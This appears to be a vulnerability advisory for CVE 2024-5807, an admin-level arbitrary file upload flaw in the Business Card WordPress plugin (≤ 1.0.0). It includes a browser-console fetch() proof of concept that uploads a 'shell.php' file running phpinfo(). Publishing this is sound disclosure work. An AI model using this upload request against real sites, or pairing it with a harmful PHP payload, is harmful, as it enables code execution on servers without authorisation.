Business Card <= 1.0.0 – Admin+ File Upload | CVE 2024-5807

Description

The plugin does not prevent high privilege users like administrators from uploading malicious PHP files, which could allow them to run arbitrary code on servers hosting their site, even in MultiSite configurations.

Proof of Concept

While logged-in as an administrator, browser to your site's /wp-admin/ and run the following command from your browser's console:

await fetch("/wp-admin/admin.php?page=es-bcard-options&cat=2", {
    "credentials": "include",
    "headers": {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101 Firefox/126.0",
        "Content-Type": "multipart/form-data; boundary=---------------------------337292420716240126712461298550",
    },
    "body": "-----------------------------337292420716240126712461298550\r\nContent-Disposition: form-data; name=\"esterox_visita_bg\"; filename=\"shell.php\"\r\nContent-Type: text/php\r\n\r\n<?php phpinfo();\n\r\n-----------------------------337292420716240126712461298550\r\nContent-Disposition: form-data; name=\"esterox_visita_bg_add\"\r\n\r\nдобавить фон\r\n-----------------------------337292420716240126712461298550\r\nContent-Disposition: form-data; name=\"category\"\r\n\r\n2\r\n-----------------------------337292420716240126712461298550\r\nContent-Disposition: form-data; name=\"chosen[]\"\r\n\r\n3\r\n-----------------------------337292420716240126712461298550\r\nContent-Disposition: form-data; name=\"chosen[]\"\r\n\r\n4\r\n-----------------------------337292420716240126712461298550--\r\n",
    "method": "POST",
    "mode": "cors"
});

 
Then, navigate to /wp-admin/admin.php?page=es-bcard-options&cat=2 and notice that a file that is not an image was uploaded.